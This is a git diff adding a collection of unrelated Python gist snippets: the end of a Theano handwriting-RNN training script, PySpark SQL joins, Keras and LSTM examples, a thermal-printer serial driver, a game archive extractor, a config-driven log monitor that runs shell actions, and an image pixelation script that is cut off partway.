+        k_t = h1_t.dot(h1_to_att_k)
+
+        a_t = tensor.exp(a_t)
+        b_t = tensor.exp(b_t)
+        k_t = k_tm1 + tensor.exp(k_t)
+
+        ss_t = calc_phi(k_t, a_t, b_t, u)
+        # calculate and return stopping criteria
+        sh_t = calc_phi(k_t, a_t, b_t, u_max)
+        ss5 = ss_t.dimshuffle(0, 1, 'x')
+        ss6 = ss5 * ctx.dimshuffle(1, 0, 2)
+        w_t = ss6.sum(axis=1)
+
+        attinp_h2, attgate_h2 = att_to_h2.proj(w_t)
+        attinp_h3, attgate_h3 = att_to_h3.proj(w_t)
+
+        h2_t = cell2.step(xinp_h2_t + h1inp_h2 + attinp_h2,
+                          xgate_h2_t + h1gate_h2 + attgate_h2, h2_tm1)
+
+        h2inp_h3, h2gate_h3 = h2_to_h3.proj(h2_t)
+
+        h3_t = cell3.step(xinp_h3_t + h1inp_h3 + h2inp_h3 + attinp_h3,
+                          xgate_h3_t + h1gate_h3 + h2gate_h3 + attgate_h3,
+                          h3_tm1)
+        out_t = h1_t.dot(h1_to_outs) + h2_t.dot(h2_to_outs) + h3_t.dot(
+            h3_to_outs)
+
+        mu, sigma, corr, coeff, binary = _slice_outs(out_t)
+        s = sample_bernoulli_and_bivariate_gmm(mu, sigma, corr, coeff, binary,
+                                               srng)
+        x_t = s
+        return x_t, h1_t, h2_t, h3_t, k_t, w_t, ss_t, sh_t
+
+    n_steps_sym = tensor.iscalar()
+    (sampled, h1_s, h2_s, h3_s, k_s, w_s, stop_s, stop_h), supdates = theano.scan(
+        fn=sample_step,
+        n_steps=n_steps_sym,
+        sequences=[],
+        outputs_info=[init_x, init_h1, init_h2, init_h3,
+                      init_kappa, init_w, None, None],
+        non_sequences=[context])
+
+
+    """
+    # Testing step function
+    r = step(inp_h1[0], inpgate_h1[0], inp_h2[0], inpgate_h2[0],
+             inp_h3[0], inpgate_h3[0],
+             init_h1, init_h2, init_h3, init_kappa, init_w, context)
+
+    r = step(inp_h1[1], inpgate_h1[1], inp_h2[1], inpgate_h2[1],
+             inp_h3[1], inpgate_h3[1],
+             r[0], r[1], r[2], r[3], r[4], context)
+    """
+    (h1, h2, h3, kappa, w), updates = theano.scan(
+        fn=step,
+        sequences=[inp_h1, inpgate_h1,
+                   inp_h2, inpgate_h2,
+                   inp_h3, inpgate_h3],
+        outputs_info=[init_h1, init_h2, init_h3, init_kappa, init_w],
+        non_sequences=[context])
+
+    outs = h1.dot(h1_to_outs) + h2.dot(h2_to_outs) + h3.dot(h3_to_outs)
+
+    mu, sigma, corr, coeff, binary = _slice_outs(outs)
+
+    cost = bernoulli_and_bivariate_gmm(target, mu, sigma, corr, coeff, binary)
+
+    cost = cost * mask
+    cost = cost.sum() / mask.sum()  # / cut_len might make more sense
+    grads = tensor.grad(cost, params)
+    grads = gradient_clipping(grads, 10.)
+
+    learning_rate = 1E-4
+
+    opt = adam(params, learning_rate)
+    updates = opt.updates(params, grads)
+
+    train_function = theano.function([X_sym, X_mask_sym, c_sym, c_mask_sym,
+                                      init_h1, init_h2, init_h3, init_kappa,
+                                      init_w, bias_sym],
+                                     [cost, h1, h2, h3, kappa, w],
+                                     updates=updates)
+    cost_function = theano.function([X_sym, X_mask_sym, c_sym, c_mask_sym,
+                                     init_h1, init_h2, init_h3, init_kappa,
+                                     init_w, bias_sym],
+                                    [cost, h1, h2, h3, kappa, w])
+    predict_function = theano.function([X_sym, X_mask_sym, c_sym, c_mask_sym,
+                                        init_h1, init_h2, init_h3, init_kappa,
+                                        init_w, bias_sym],
+                                       [mu, sigma, corr, coeff, binary],
+                                       on_unused_input='warn')
+    attention_function = theano.function([X_sym, X_mask_sym, c_sym, c_mask_sym,
+                                          init_h1, init_h2, init_h3, init_kappa,
+                                          init_w],
+                                         [kappa, w], on_unused_input='warn')
+    sample_function = theano.function([c_sym, c_mask_sym, init_h1, init_h2,
+                                       init_h3, init_kappa, init_w, bias_sym,
+                                       n_steps_sym],
+                                      [sampled, h1_s, h2_s, h3_s, k_s, w_s,
+                                       stop_s, stop_h],
+                                      updates=supdates)
+
+    checkpoint_dict = {}
+    checkpoint_dict["train_function"] = train_function
+    checkpoint_dict["cost_function"] = cost_function
+    checkpoint_dict["predict_function"] = predict_function
+    checkpoint_dict["attention_function"] = attention_function
+    checkpoint_dict["sample_function"] = sample_function
+
+    print("Beginning training loop")
+    train_mb_count = 0
+    valid_mb_count = 0
+    start_epoch = 0
+    monitor_frequency = 1000 // minibatch_size
+    overall_train_costs = []
+    overall_valid_costs = []
+
+    if args.cont is not None:
+        continue_path = args.cont
+        if not os.path.exists(continue_path):
+            raise ValueError("Continue model %s, path not "
+                             "found" % continue_path)
+        saved_checkpoint = load_checkpoint(continue_path)
+        trained_weights = get_values_from_function(
+            saved_checkpoint["train_function"])
+        set_shared_variables_in_function(train_function, trained_weights)
+        try:
+            overall_train_costs = saved_checkpoint["overall_train_costs"]
+            overall_valid_costs = saved_checkpoint["overall_valid_costs"]
+            start_epoch = len(overall_train_costs)
+        except KeyError:
+            print("Key not found - model structure may have changed.")
+            print("Continuing anyways - statistics may not be correct!")
+
+
+    def _loop(function, itr):
+        prev_h1, prev_h2, prev_h3 = [np_zeros((minibatch_size, n_hid))
+                                     for i in range(3)]
+        prev_kappa = np_zeros((minibatch_size, att_size))
+        prev_w = np_zeros((minibatch_size, n_chars))
+        X_mb, X_mb_mask, c_mb, c_mb_mask = next(itr)
+        n_cuts = len(X_mb) // cut_len + 1
+        partial_costs = []
+        for n in range(n_cuts):
+            start = n * cut_len
+            stop = (n + 1) * cut_len
+            if len(X_mb[start:stop]) < 1:
+                # edge case where there is only one sample left
+                # just ignore the last sample
+                break
+            bias = 0. # No bias in training
+            rval = function(X_mb[start:stop],
+                            X_mb_mask[start:stop],
+                            c_mb, c_mb_mask,
+                            prev_h1, prev_h2, prev_h3, prev_kappa, prev_w, bias)
+            current_cost = rval[0]
+            prev_h1, prev_h2, prev_h3 = rval[1:4]
+            prev_h1 = prev_h1[-1]
+            prev_h2 = prev_h2[-1]
+            prev_h3 = prev_h3[-1]
+            prev_kappa = rval[4][-1]
+            prev_w = rval[5][-1]
+        partial_costs.append(current_cost)
+        return partial_costs
+
+    for e in range(start_epoch, start_epoch + n_epochs):
+        train_costs = []
+        try:
+            while True:
+                partial_train_costs = _loop(train_function, train_itr)
+                train_costs.append(np.mean(partial_train_costs))
+                if train_mb_count % monitor_frequency == 0:
+                    print("starting train mb %i" % train_mb_count)
+                    print("current epoch mean cost %f" % np.mean(train_costs))
+                train_mb_count += 1
+        except StopIteration:
+            valid_costs = []
+            try:
+                while True:
+                    partial_valid_costs = _loop(cost_function, valid_itr)
+                    valid_costs.append(np.mean(partial_valid_costs))
+                    if valid_mb_count % monitor_frequency == 0:
+                        print("starting valid mb %i" % valid_mb_count)
+                        print("current validation mean cost %f" % np.mean(
+                            valid_costs))
+                    valid_mb_count += 1
+            except StopIteration:
+                pass
+            mean_epoch_train_cost = np.mean(train_costs)
+            mean_epoch_valid_cost = np.mean(valid_costs)
+            overall_train_costs.append(mean_epoch_train_cost)
+            overall_valid_costs.append(mean_epoch_valid_cost)
+            checkpoint_dict["overall_train_costs"] = overall_train_costs
+            checkpoint_dict["overall_valid_costs"] = overall_valid_costs
+            print("epoch %i complete" % e)
+            print("epoch mean train cost %f" % mean_epoch_train_cost)
+            print("epoch mean valid cost %f" % mean_epoch_valid_cost)
+            print("overall train costs %s" % overall_train_costs)
+            print("overall valid costs %s" % overall_valid_costs)
+            checkpoint_save_path = "model_checkpoint_%i.pkl" % e
+            weights_save_path = "model_weights_%i.npz" % e
+            save_checkpoint(checkpoint_save_path, checkpoint_dict)
+            save_weights(weights_save_path, checkpoint_dict)
diff --git a/hard-gists/c2d24fe340a7f3cf76d2/._snippet.py b/hard-gists/c2d24fe340a7f3cf76d2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c2d24fe340a7f3cf76d2/._snippet.py differ
diff --git a/hard-gists/c2d24fe340a7f3cf76d2/snippet.py b/hard-gists/c2d24fe340a7f3cf76d2/snippet.py
new file mode 100644
index 00000000..66a0bd52
--- /dev/null
+++ b/hard-gists/c2d24fe340a7f3cf76d2/snippet.py
@@ -0,0 +1,38 @@
+from pyspark import SparkContext
+from pyspark.sql import SQLContext
+from pyspark.sql import Row, StructField, StructType, StringType, IntegerType
+
+sc = SparkContext('spark://main:7077', 'Spark SQL Intro')
+sqlContext = SQLContext(sc)
+dividends = sc.textFile("hdfs://main:9000/user/hdfs/NYSE_dividends_A.csv")
+dividends_parsed = dividends.filter(lambda r: not r.startswith('exchange')).map(lambda r: r.split(',')).map(
+  lambda row: {'exchange': row[0], 'stock_symbol': row[1], 'date': row[2], 'dividends': float(row[3])})
+
+dividends_schema = sqlContext.inferSchema(dividends_parsed)
+dividends_schema.printSchema()
+dividends_schema.registerAsTable('dividends')
+result = sqlContext.sql('SELECT * from dividends LIMIT 10').collect()
+
+daily_prices = sc.textFile("hdfs://main:9000/user/hdfs/NYSE_daily_prices_A.csv")
+columns = daily_prices.take(1)[0].split(',')
+daily_prices_parsed = daily_prices.filter(lambda r: not r.startswith('exchange')).map(lambda r: r.split(',')).map(
+lambda row: {columns[0]: row[0], columns[1]: row[1], columns[2]: row[2],
+columns[3]: float(row[3]), columns[4]: float(row[4]), columns[5]: float(row[5]),
+columns[6]: float(row[6]), columns[7]: float(row[7]), columns[8]: float(row[8])})
+
+daily_prices_schema = sqlContext.inferSchema(daily_prices_parsed)
+daily_prices_schema.printSchema()
+daily_prices_schema.registerAsTable('daily_prices')
+result = sqlContext.sql('SELECT * FROM daily_prices LIMIT 10').collect()
+
+join = sqlContext.sql('''SELECT div.exchange, div.stock_symbol, div.date, div.dividends, prices.stock_price_adj_close,
+prices.stock_price_close  FROM dividends div INNER JOIN daily_prices prices
+ON(div.stock_symbol=prices.stock_symbol AND div.date=prices.date) LIMIT 10''').collect()
+
+join_group = sqlContext.sql('''SELECT div.stock_symbol, max(prices.stock_price_close) as max_close FROM dividends div 
+INNER JOIN daily_prices prices ON(div.stock_symbol=prices.stock_symbol AND div.date=prices.date) 
+GROUP BY div.stock_symbol LIMIT 10''').collect()
+
+join_group_agg = sqlContext.sql('''SELECT div.stock_symbol, max(prices.stock_price_close), min(prices.stock_price_close), avg(prices.stock_price_close) FROM dividends div 
+INNER JOIN daily_prices prices ON(div.stock_symbol=prices.stock_symbol AND div.date=prices.date) 
+GROUP BY div.stock_symbol LIMIT 10''').collect()
diff --git a/hard-gists/c2dfe5772ba3cd16c1be17ba42b7db66/._snippet.py b/hard-gists/c2dfe5772ba3cd16c1be17ba42b7db66/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c2dfe5772ba3cd16c1be17ba42b7db66/._snippet.py differ
diff --git a/hard-gists/c2dfe5772ba3cd16c1be17ba42b7db66/snippet.py b/hard-gists/c2dfe5772ba3cd16c1be17ba42b7db66/snippet.py
new file mode 100644
index 00000000..89eaab37
--- /dev/null
+++ b/hard-gists/c2dfe5772ba3cd16c1be17ba42b7db66/snippet.py
@@ -0,0 +1,45 @@
+# In Keras the Convolution layer requirest an additional dimension which will be used for the various filter.
+# When we have eg. 2D dataset the shape is (data_points, rows, cols).
+# But Convolution2D requires shape (data_points, rows, cols, 1).
+# Otherwise it fails with eg. "Exception: Input 0 is incompatible with layer convolution2d_5: expected ndim=4, found ndim=3"
+#
+# Originally I reshaped the data beforehand but it only complicates things.
+#
+# An easier and more elegant solution is to add a Reshape layer at the input
+# of the network!
+#
+# Docs: https://keras.io/layers/core/#reshape
+
+from keras.models import Sequential, Model
+from keras.layers import Input
+from keras.layers.core import Activation, Reshape
+from keras.layers.convolutional import Convolution2D
+
+# eg. 100x100 px images
+input_shape = (100, 100)
+
+def create_model_sequential(input_shape):
+  """For the classic sequential API..."""
+  model = Sequential()
+
+  # add one more dimension for convolution
+  model.add(Reshape(input_shape + (1, ), input_shape=input_shape))
+
+  model.add(Convolution2D(32, 3, 3))
+  model.add(Activation('relu'))
+  # ...
+
+  return model
+
+def create_model_functional(input_shape):
+  """For the new functional API..."""
+  inputs = Input(input_shape)
+
+  # add one more dimension for convolution
+  x = Reshape(input_shape + (1, ), input_shape=input_shape)(inputs)
+
+  x = Convolution2D(32, 3, 3)(x)
+  x = Activation('relu')(x)
+  # ...
+
+  return Model(inputs, x)
\ No newline at end of file
diff --git a/hard-gists/c3124826a3c49ddda6999acb40ad2c27/._snippet.py b/hard-gists/c3124826a3c49ddda6999acb40ad2c27/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c3124826a3c49ddda6999acb40ad2c27/._snippet.py differ
diff --git a/hard-gists/c3124826a3c49ddda6999acb40ad2c27/snippet.py b/hard-gists/c3124826a3c49ddda6999acb40ad2c27/snippet.py
new file mode 100644
index 00000000..7216fb49
--- /dev/null
+++ b/hard-gists/c3124826a3c49ddda6999acb40ad2c27/snippet.py
@@ -0,0 +1,101 @@
+#!/usr/bin/env python
+# coding: utf-8
+
+from PIL import Image, ImageOps
+import numpy
+import serial
+
+
+class SM1_21:
+    def __init__(self, port='/dev/ttys0', baud=115200):
+        self.printer = serial.Serial(port, baud)
+        # self.printer.write('\x1b\x5f')  # フラッシュメモリのパラメータ初期化
+        self.printer.write('\x1c\x26')
+        self.printer.write('\x1c\x43\x01')
+
+    def command(self, text):
+        self.printer.write(text)
+
+    def text(self, text, flag=0, bold=0):
+        if bold == 1:
+            self.printer.write('\x1b\x47\x01')
+        else:
+            self.printer.write('\x1b\x45\x00')
+
+        self.printer.write(text.encode('shift-jis', 'replace'))
+
+        if flag == 1:
+            self.printer.write('\x0a')
+
+    def output(self):
+        self.printer.write('\x0a')
+
+    def tab(self):
+        self.printer.write('\x09' + 'h')
+
+    def image(self, img_path, threshold=200, pitch=200):
+        im = Image.open(img_path)
+
+        width = im.size[0]
+        height = im.size[1]
+
+        mag = 384.0 / width
+        color = 0
+        inv = 0
+
+        Aheight = int(mag * float(height))
+        print Aheight
+
+        im2 = im.resize((384, Aheight), Image.ANTIALIAS)
+        im2 = ImageOps.grayscale(im2)
+        if inv == 1:
+            im2 = ImageOps.invert(im2)
+        im2.save('test2.jpg', 'JPEG')
+
+        imgArray = numpy.asarray(im2)
+        imgArray.flags.writeable = True
+
+        for j in range(Aheight - 1):
+            for i in range(383):
+                f = imgArray[j][i]
+                if f > threshold:
+                    imgArray[j][i] = 255
+                else:
+                    imgArray[j][i] = 0
+
+        pilImg = Image.fromarray(numpy.uint8(imgArray))
+        pilImg.save('test3.jpg')
+
+        c = 0
+        count = 0
+        count2 = 0
+
+        for j in range(Aheight):
+            if count == 0:
+                if (Aheight - 1) - j < pitch:
+                    self.printer.write('\x1d\x2a\x30')
+                    self.printer.write(chr(Aheight - j))
+                else:
+                    self.printer.write('\x1d\x2a\x30')
+                    self.printer.write(chr(pitch))
+            for i in range(48):
+                for n in range(8):
+                    if imgArray[j][(i * 8) + n] > 100:
+                        a = color
+                    else:
+                        a = not (color)
+                    c = (c << 1) | a
+                self.printer.write(chr(c))
+                c = 0
+            count += 1
+            if count >= pitch:
+                count2 += 1
+                self.printer.write('\x1d\x2f\x00')
+                count = 0
+        self.printer.write('\x1d\x2f\x00')
+        self.printer.write('\n' * 3)
+
+if __name__ == '__main__':
+    p = SM1_21(port='/dev/tty.SM1-21-SerialPortDevB')
+    p.image('1327.jpg')
+    raw_input()
diff --git a/hard-gists/c344f114e1579a29e163/._snippet.py b/hard-gists/c344f114e1579a29e163/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c344f114e1579a29e163/._snippet.py differ
diff --git a/hard-gists/c344f114e1579a29e163/snippet.py b/hard-gists/c344f114e1579a29e163/snippet.py
new file mode 100644
index 00000000..2cd2e774
--- /dev/null
+++ b/hard-gists/c344f114e1579a29e163/snippet.py
@@ -0,0 +1,50 @@
+from struct import unpack, iter_unpack
+from collections import namedtuple
+import os
+
+def read_file_list(f, entry_num):
+    def decode(data, index):
+        for (n, item) in enumerate(data):
+            item = item[0]
+            item -= 39
+            item ^= 0xA5
+            item -= (27 + index + n)
+            yield item % 256
+    def to_str(data):
+        res_string = ''
+        for item in data:
+            if item >= 0x21 and item <= 0x7E:
+                res_string += '{:c}'.format(item)
+        return res_string
+    def to_int(data):
+        result = 0
+        data = list(data)[::-1]
+        for item in data:
+            result <<= 8
+            result += item
+        return result
+    result = []
+    last_offs, offs = 0, 0
+    Item = namedtuple('Item', 'name offset size')
+    for index in range(0, entry_num * 17, 17):
+        last_offs = offs
+        raw = list(decode(iter_unpack('B', f.read(17)), index))
+        name = to_str(raw[:13])
+        offs = to_int(raw[13:])
+        if index > 1:
+            pos = index // 17 - 1
+            result[pos] = Item(result[pos][0], result[pos][1], offs - last_offs)
+        result.append(Item(name, offs, 0))
+    result.pop()
+    return result
+
+if __name__ == '__main__':
+    with open('data.fil', 'rb') as f:
+        num = unpack('i', f.read(4))[0] ^ 0x3BD7A59A
+        files = read_file_list(f, num)
+        for file in files:
+            # if not os.path.exists('export'):
+                # os.makedirs('export')
+            with open('{}'.format(file.name), 'wb') as w:
+                f.seek(file.offset)
+                w.write(f.read(file.size))
\ No newline at end of file
diff --git a/hard-gists/c362f0ad488e3b289394/._snippet.py b/hard-gists/c362f0ad488e3b289394/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c362f0ad488e3b289394/._snippet.py differ
diff --git a/hard-gists/c362f0ad488e3b289394/snippet.py b/hard-gists/c362f0ad488e3b289394/snippet.py
new file mode 100644
index 00000000..3e690c21
--- /dev/null
+++ b/hard-gists/c362f0ad488e3b289394/snippet.py
@@ -0,0 +1,57 @@
+import pandas as pd  
+from random import random
+
+flow = (list(range(1,10,1)) + list(range(10,1,-1)))*100
+pdata = pd.DataFrame({"a":flow, "b":flow})  
+pdata.b = pdata.b.shift(9)  
+data = pdata.iloc[10:] * random()  # some noise  
+
+import numpy as np
+
+def _load_data(data, n_prev = 100):  
+    """
+    data should be pd.DataFrame()
+    """
+
+    docX, docY = [], []
+    for i in range(len(data)-n_prev):
+        docX.append(data.iloc[i:i+n_prev].as_matrix())
+        docY.append(data.iloc[i+n_prev].as_matrix())
+    alsX = np.array(docX)
+    alsY = np.array(docY)
+
+    return alsX, alsY
+
+def train_test_split(df, test_size=0.1):  
+    """
+    This just splits data to training and testing parts
+    """
+    ntrn = round(len(df) * (1 - test_size))
+
+    X_train, y_train = _load_data(df.iloc[0:ntrn])
+    X_test, y_test = _load_data(df.iloc[ntrn:])
+
+    return (X_train, y_train), (X_test, y_test)
+
+from keras.models import Sequential  
+from keras.layers.core import Dense, Activation  
+from keras.layers.recurrent import LSTM
+
+in_out_neurons = 2  
+hidden_neurons = 50
+
+model = Sequential()  
+model.add(LSTM(in_out_neurons, hidden_neurons, return_sequences=False))  
+model.add(Dense(hidden_neurons, in_out_neurons))  
+model.add(Activation("linear"))  
+model.compile(loss="mean_squared_error", optimizer="rmsprop")  
+
+(X_train, y_train), (X_test, y_test) = train_test_split(data)  # retrieve data
+model.fit(X_train, y_train, batch_size=700, nb_epoch=10, validation_split=0.05)  
+
+predicted = model.predict(X_test)  
+rmse = np.sqrt(((predicted - y_test) ** 2).mean(axis=0))
+
+# and maybe plot it
+pd.DataFrame(predicted).to_csv("predicted.csv")  
+pd.DataFrame(y_test).to_csv("test_data.csv")  
diff --git a/hard-gists/c3a540563e0774489ceafb3156b318a2/._snippet.py b/hard-gists/c3a540563e0774489ceafb3156b318a2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c3a540563e0774489ceafb3156b318a2/._snippet.py differ
diff --git a/hard-gists/c3a540563e0774489ceafb3156b318a2/snippet.py b/hard-gists/c3a540563e0774489ceafb3156b318a2/snippet.py
new file mode 100644
index 00000000..0ff77f4a
--- /dev/null
+++ b/hard-gists/c3a540563e0774489ceafb3156b318a2/snippet.py
@@ -0,0 +1,329 @@
+#!/usr/bin/env python
+# vim:fileencoding=utf-8
+
+""" [NAME] script or package easy description
+
+[DESCRIPTION] script or package description
+"""
+from argparse import ArgumentParser
+from concurrent.futures import ThreadPoolExecutor, as_completed
+import logging
+import subprocess
+import threading
+import shlex
+import time
+import os, sys, io
+import signal
+import re
+
+__author__  = 'holly'
+__version__ = '1.0'
+
+DESCRIPTION = 'logmon.py / LogMonitor'
+
+REPLACE_STRING    = "<%%%%>"
+REPLACE_STRING_EX = "<%%%N>"
+LOG_FORMAT        = "%(asctime)s %(name)s %(levelname)s: %(message)s"
+ACTION_TIMEOUT    = 3
+CONFIG_FILE       = "/etc/logmon/logmon.conf"
+INTERVAL          = 0.2
+VERBOSE           = False
+
+class Config:
+
+    def __init__(self, config_file=CONFIG_FILE):
+
+        self._config_file = config_file
+        self._config = {}
+        self.parse()
+
+    @property
+    def config_file(self):
+        return self._config_file
+
+    @property
+    def config(self):
+        return self._config
+
+    def parse(self, config_file=None):
+
+        config = {}
+        target_regex = re.compile(r"^:(.+)$")
+        message_regex = re.compile(r"^(\(.+\))$")
+
+        if config_file is None:
+            config_file = self.config_file
+
+        with open(config_file, "r") as f:
+            target = ""
+            message = ""
+            for line in f:
+                line = line.strip()
+                if not line or len(line) == 0:
+                    continue
+                if line[0] == "#":
+                    continue
+
+                res = target_regex.match(line)
+                if res:
+                    target = res.group(1)
+                    continue
+
+                res = message_regex.match(line)
+                if res:
+                    message = res.group(0)
+                    continue
+
+                if len(target) == 0 or len(message) == 0:
+                    continue
+
+                if target not in config:
+                    config.update({target: {}})
+                if message not in config[target]:
+                    config[target].update({message: []})
+                config[target][message].append(line)
+
+        self._config = config
+
+
+class Tail:
+
+    def __init__(self, event, interval=INTERVAL):
+
+        self.f     = None
+        self.pos   = None
+        self.size  = None
+        self.mtime = None
+
+        self._interval = interval
+        self._event = event
+        self._first = True
+        self._stop  = False
+
+    @property
+    def interval(self):
+        return self._interval
+
+    @interval.setter
+    def interval(self, v):
+        if isinstance(v, int):
+            self._interval = float(v)
+        elif isinstance(v, float):
+            self._interval = v
+
+    @property
+    def event(self):
+        return self._event
+
+    @property
+    def first(self):
+        return self._first
+
+    @first.setter
+    def first(self, v):
+        if v is True or v is False:
+            self._first = v
+
+    @property
+    def stop(self):
+        return self._stop
+
+    @stop.setter
+    def stop(self, v):
+        if v is True or v is False:
+            self._stop = v
+
+    def stopped(self):
+        if self.event.is_set() or self.stop is True:
+            return True
+
+    def fclose(self):
+        self.stop = True
+        if isinstance(self.f, io.TextIOWrapper) and self.f.closed is False:
+            self.f.close()
+
+    def tail_f(self, filename):
+
+        while True:
+
+            if self.stopped():
+                break
+
+            try:
+                self.f = open(filename, "r")
+                if self.first:
+                    self.f.seek(0, 2)
+                    self.first = False
+                self.pos   = self.f.tell()
+                self.size  = os.path.getsize(filename)
+                self.mtime = os.stat(filename).st_mtime
+            except FileNotFoundError as e:
+                print("{0} is not exists. wait {1} sec....".format(filename, self.interval))
+                time.sleep(self.interval)
+            except PermissionError as e:
+                print("{0} is not permited. end".format(filename))
+                self.stop = True
+            else:
+                while True:
+                    if self.stopped():
+                        break
+                    if not os.path.exists(self.f.name):
+                        break
+
+                    size  = os.path.getsize(self.f.name)
+                    mtime = os.stat(self.f.name).st_mtime
+                    if self.mtime < mtime and self.size >= size:
+                        self.size = size
+                        self.mtime = mtime
+                        self.f.seek(0, 0)
+                        self.pos   = self.f.tell()
+
+                    line = self.f.readline()
+                    if not line:
+                        self.f.seek(self.pos)
+                        time.sleep(self.interval)
+                    else:
+                        line = line.rstrip()
+                        self.pos = self.f.tell()
+                        yield line
+            finally:
+                self.fclose()
+
+class Log():
+
+    def __init__(self, log_file=None, quiet=False, debug=False):
+        self._logger = logging.getLogger(__name__)
+
+        self._logger.addHandler(logging.StreamHandler())
+        if log_file:
+            fh = logging.FileHandler(log_file)
+            fh.formatter = logging.Formatter(fmt=LOG_FORMAT)
+            self._logger.addHandler(fh)
+
+        if quiet:
+            self._logger.setLevel(logging.CRITICAL)
+        elif debug:
+            self._logger.setLevel(logging.DEBUG)
+        else:
+            self._logger.setLevel(logging.INFO)
+
+    def shutdown(self):
+        logging.shutdown()
+
+    @property
+    def logger(self):
+        return self._logger
+
+
+parser = ArgumentParser(description=DESCRIPTION)
+parser.add_argument('--disable-shell-escape', action='store_true', default=False, help='enable escape command replace string (Default: True)')
+parser.add_argument('--enable-regex-ignorecase', action='store_true', default=False, help='enable regex ignorecase (Default: False)')
+parser.add_argument('--config-file', '-f', action='store', default=CONFIG_FILE, help='config file (Default: {0})'.format(CONFIG_FILE))
+parser.add_argument('--log-file', '-l', action='store', help='output log file(Default: STDOUT)')
+parser.add_argument('--check', '-c', action='store_true', help='check config')
+parser.add_argument('--interval', '-i', action='store', default=INTERVAL, type=float, help='interval second (Default: {0} sec)'.format(INTERVAL))
+parser.add_argument('--quiet', '-q', action='store_true', default=False, help='quiet mode')
+parser.add_argument('--verbose', action='store_true', help='output verbose message')
+parser.add_argument('--version', '-v', action='version', version='%(prog)s ' + __version__)
+args = parser.parse_args()
+
+config = Config(config_file=args.config_file)
+log    = Log(log_file=args.log_file, quiet=args.quiet, debug=args.verbose)
+
+
+def signal_handler(event, signum, frame):
+    log.logger.info("signal {0} received.".format(signum))
+    event.set()
+
+def phoenix(event, executor, signum, frame):
+    log.logger.info("signal {0} received.".format(signum))
+    event.set()
+    executor.shutdown()
+    new_environ = os.environ.copy()
+    args = [sys.executable, [sys.executable] + sys.argv, new_environ]
+    log.logger.info('re-exec. shutdown current process')
+    log.shutdown()
+    os.execve(*args)
+
+def check_config():
+    print("Config file: {0}".format(config.config_file))
+
+    for target in config.config:
+        print()
+        print("Logfile: {0}".format(target))
+        for message in config.config[target]:
+            print("  Message: {0}".format(message))
+            for action in config.config[target][message]:
+                 print("    Action: {0}".format(action))
+    print()
+
+def watch(event, target, config):
+    message = list(config.keys())[0]
+    actions = config[message]
+
+    flags = re.I if args.enable_regex_ignorecase else 0
+    regex = re.compile(r"{0}".format(message), flags=flags)
+
+    log.logger.info("watch {0}".format(target))
+    tail    = Tail(event, interval=args.interval)
+
+    log.logger.debug("thread_id {0}: start thread.".format(threading.get_ident()))
+    log.logger.debug("target:{0} message:{1}".format(target, message))
+    for line in tail.tail_f(target):
+        result = regex.search(line)
+        if not result:
+            continue
+        log.logger.info("match line in {0}: {1}".format(target, line))
+        if not args.disable_shell_escape:
+            line = shlex.quote(line)
+        for action in actions:
+            action = action.replace(REPLACE_STRING, line)
+            if len(result.groups()) > 0:
+                i = 1
+                for group in result.groups():
+                    if not args.disable_shell_escape:
+                        group = shlex.quote(group)
+                    replace_string = REPLACE_STRING_EX.replace("N", str(i))
+                    action = action.replace(replace_string, group)
+                    i = i + 1
+
+            log.logger.info("action: {0}".format(action))
+            subprocess.call(action, shell=True, timeout=ACTION_TIMEOUT)
+
+    log.logger.debug("thread_id {0}: break thread.".format(threading.get_ident()))
+
+def main():
+    """ [FUNCTIONS] method or functon description
+    """
+
+    executor = None
+    event = threading.Event()
+
+    log.logger.info("start Logmonitor")
+
+    for i in signal.SIGINT, signal.SIGUSR1, signal.SIGTERM:
+        signal.signal(i, lambda signum, frame: signal_handler(event, signum, frame))
+    signal.signal(signal.SIGHUP, lambda signum, frame: phoenix(event, executor, signum, frame))
+
+    if args.check:
+        check_config()
+        return
+
+    executor = ThreadPoolExecutor(max_workers=len(config.config)) 
+    future_to_targets = { executor.submit(watch, event, target, config.config[target]): target for target in config.config }
+    for future in as_completed(future_to_targets):
+        target = future_to_targets[future]
+        try:
+            data = future.result()
+        except Exception as exc:
+            log.logger.critical('%s generated an exception: %s' % (target, exc))
+        else:
+            pass
+    executor.shutdown()
+
+    log.logger.info("end Logmonitor")
+    sys.exit(0)
+
+if __name__ == "__main__":
+    main()
+
diff --git a/hard-gists/c3c474a04d7c0cd8ddeb/._snippet.py b/hard-gists/c3c474a04d7c0cd8ddeb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c3c474a04d7c0cd8ddeb/._snippet.py differ
diff --git a/hard-gists/c3c474a04d7c0cd8ddeb/snippet.py b/hard-gists/c3c474a04d7c0cd8ddeb/snippet.py
new file mode 100644
index 00000000..211f9342
--- /dev/null
+++ b/hard-gists/c3c474a04d7c0cd8ddeb/snippet.py
@@ -0,0 +1,85 @@
+#!/usr/bin/env python
+
+# This script will pixelate most jpg and png images
+# It will both show you the result and save it
+
+import sys
+
+import matplotlib.pyplot as plt
+import numpy as np
+import PIL.Image as Image
+import scipy.misc as misc
+
+def load_img(filename):
+    # boilerplate code to open an image and make it editable
+    img = Image.open(filename)
+    data = np.array(img)
+    return data
+
+def all_square_pixels(row, col, square_h, square_w):
+    # Every pixel for a single "square" (superpixel)
+    # Note that different squares might have different dimensions in order to
+    # not have extra pixels at the edge not in a square. Hence: int(round())
+    for y in xrange(int(round(row*square_h)), int(round((row+1)*square_h))):
+        for x in xrange(int(round(col*square_w)), int(round((col+1)*square_w))):
+            yield y, x
+
+def make_one_square(img, row, col, square_h, square_w):
+    # Sets all the pixels in img for the square given by (row, col) to that
+    # square's average color
+    pixels = []
+
+    # get all pixels
+    for y, x in all_square_pixels(row, col, square_h, square_w):
+        pixels.append(img[y][x])
+
+    # get the average color
+    av_r = 0
+    av_g = 0
+    av_b = 0
+    for r, g, b in pixels:
+        av_r += r
+        av_g += g
+        av_b += b
+    av_r /= len(pixels)
+    av_g /= len(pixels)
+    av_b /= len(pixels)
+
+    # set all pixels to that average color
+    for y, x in all_square_pixels(row, col, square_h, square_w):
+        img[y][x] = (av_r, av_g, av_b)
+
